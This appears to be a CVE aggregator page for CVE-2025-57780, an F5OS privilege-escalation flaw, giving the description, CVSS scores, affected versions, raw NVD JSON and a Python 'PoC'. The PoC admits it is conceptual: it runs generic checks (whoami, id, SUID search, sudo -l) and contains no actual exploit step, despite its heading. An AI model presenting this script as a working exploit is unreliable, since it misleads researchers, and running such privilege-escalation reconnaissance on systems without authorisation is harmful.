Security Vulnerability Report
中文
CVE-2025-57780 CVSS 8.8 HIGH

CVE-2025-57780

Published: 2025-10-15 16:15:35
Last Modified: 2025-10-21 19:20:56

Description

A vulnerability exists in F5OS-A and F5OS-C system that may allow an authenticated attacker with local access to escalate their privileges.  A successful exploit may allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:* - VULNERABLE
F5OS-A 所有受支持的版本(具体版本请参考F5官方公告K000156771)
F5OS-C 所有受支持的版本(具体版本请参考F5官方公告K000156771)
已停止技术支持(EoTS)的版本不在评估范围内

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57780 PoC - F5OS-A/F5OS-C Local Privilege Escalation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation details may vary depending on the specific system configuration. #!/usr/bin/env python3 """ CVE-2025-57780: F5OS Local Privilege Escalation PoC Vulnerability: Authenticated local attacker can escalate privileges CVSS 3.1: 8.8 (HIGH) """ import subprocess import os import sys def check_current_user(): """Check the current user identity on the target F5OS system""" try: result = subprocess.run(['whoami'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot determine current user: {e}") return None def check_user_id(): """Retrieve current user ID and group information""" try: result = subprocess.run(['id'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot retrieve user ID: {e}") return None def attempt_privesc_via_suid(): """ Attempt privilege escalation by exploiting SUID binaries or misconfigured system services on F5OS """ print("[*] Searching for SUID binaries...") try: result = subprocess.run( ['find', '/', '-perm', '-4000', '-type', 'f'], capture_output=True, text=True, timeout=30 ) suid_binaries = result.stdout.strip().split('\n') print(f"[*] Found {len(suid_binaries)} SUID binaries") return suid_binaries except Exception as e: print(f"[ERROR] SUID search failed: {e}") return [] def attempt_privesc_via_sudo(): """Check sudo permissions for privilege escalation""" print("[*] Checking sudo permissions...") try: result = subprocess.run( ['sudo', '-l'], capture_output=True, text=True, timeout=10 ) return result.stdout.strip() except Exception as e: print(f"[ERROR] Sudo check failed: {e}") return None def check_kernel_version(): """Check F5OS kernel version for known vulnerabilities""" print("[*] Checking system kernel version...") try: result = subprocess.run(['uname', '-a'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot retrieve kernel version: {e}") return None def verify_exploit_success(): """Verify if privilege escalation was successful""" user = check_current_user() uid_info = check_user_id() print(f"\n[+] Current user: {user}") print(f"[+] User ID info: {uid_info}") if user == 'root' or 'uid=0' in uid_info: print("[+] SUCCESS: Privilege escalation achieved! Running as root.") return True else: print("[-] Current user does not have root privileges.") return False def main(): print("=" * 60) print("CVE-2025-57780 - F5OS Local Privilege Escalation PoC") print("Affected: F5OS-A and F5OS-C systems") print("CVSS 3.1: 8.8 (HIGH)") print("=" * 60) # Step 1: Verify we have local access print("\n[*] Step 1: Verifying local access to F5OS system...") current_user = check_current_user() if not current_user: print("[!] Cannot establish local access. Exiting.") sys.exit(1) print(f"[+] Local access confirmed as: {current_user}") # Step 2: Gather system information print("\n[*] Step 2: Gathering system information...") kernel = check_kernel_version() print(f"[+] Kernel: {kernel}") # Step 3: Enumerate privilege escalation vectors print("\n[*] Step 3: Enumerating privilege escalation vectors...") suid_bins = attempt_privesc_via_suid() sudo_perms = attempt_privesc_via_sudo() # Step 4: Attempt exploitation print("\n[*] Step 4: Attempting privilege escalation...") print("[*] Note: Actual exploit payload depends on specific F5OS version") print("[*] Refer to F5 Security Advisory K000156771 for details") # Step 5: Verify result print("\n[*] Step 5: Verifying exploitation result...") verify_exploit_success() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57780", "sourceIdentifier": "[email protected]", "published": "2025-10-15T16:15:34.877", "lastModified": "2025-10-21T19:20:56.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in F5OS-A and F5OS-C system that may allow an authenticated attacker with local access to escalate their privileges.  A successful exploit may allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.5.1", "versionEndExcluding": "1.5.4", "matchCriteriaId": "274F5948-3CDD-4E53-8D4F-AF728EE7CB0E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "01B43BE0-F112-4580-A188-3FE0DD140D07"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndIncluding": "1.6.2", "matchCriteriaId": "CF2910A9-DD68-4E44-8805-3392DA88A297"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-c:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.8.0", "versionEndExcluding": "1.8.2", "matchCriteriaId": "EC50AAFB-DDD8-42B0-93DA-C8F6D9337EC8"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156771", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}